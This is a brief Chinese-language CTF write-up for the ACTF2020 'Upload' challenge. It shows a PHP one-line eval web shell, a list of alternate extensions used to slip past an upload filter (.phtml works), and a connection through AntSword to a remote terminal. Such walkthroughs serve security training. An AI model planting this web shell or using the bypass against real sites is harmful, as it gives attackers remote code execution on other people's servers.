[ACTF2020 新生赛]Upload

该题可在BUUCTF里找到

打开页面

鼠标移到灯泡上显示可以上传文件

先上传一个php文件试试

说明只能上传jpg，png，gif等后缀的文件，那接下来我们就抓包修改数据包信息，尝试修改文件的类型

先写一个一句话木马

<script language="php">@eval($_POST[666]);</script>

抓包修改数据包信息

尝试修改后缀为：php1,php2, php3, php4, php5, phps, pht, phtm, phtml

经过尝试最后发现后缀改为phtml 文件能够被解析

然后用蚁剑连接，打开终端查看就可以获得flag